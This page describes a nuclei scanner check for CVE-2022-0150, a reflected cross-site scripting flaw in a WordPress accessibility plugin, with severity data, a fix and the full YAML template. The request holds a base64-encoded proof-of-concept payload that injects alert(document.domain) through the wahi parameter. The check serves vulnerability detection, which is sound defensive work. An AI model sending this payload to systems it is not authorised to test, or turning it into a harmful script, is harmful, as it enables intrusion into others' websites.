WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

WordPress Accessibility Helper plugin before 0.6.0.7 contains a cross-site scripting vulnerability. It does not sanitize and escape the wahi parameter before outputting back its base64 decode value in the page.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or defacement of the affected WordPress website.

Fix

Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v
Positive when: contains "var wah_target_src = '';alert(document.domain);//';" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0150 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0150

info:
  name: WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Accessibility Helper plugin before 0.6.0.7 contains a cross-site scripting vulnerability. It does not sanitize and escape the wahi parameter before outputting back its base64 decode value in the page.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or defacement of the affected WordPress website.
  remediation: |
    Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5
    - https://plugins.trac.wordpress.org/changeset/2661008
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0150
    cwe-id: CWE-79
    epss-score: 0.01718
    epss-percentile: 0.7764
    cpe: cpe:2.3:a:wp_accessibility_helper_project:wp_accessibility_helper:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wp_accessibility_helper_project
    product: wp_accessibility_helper
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,wpscan,xss,wp_accessibility_helper_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var wah_target_src = '';alert(document.domain);//';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from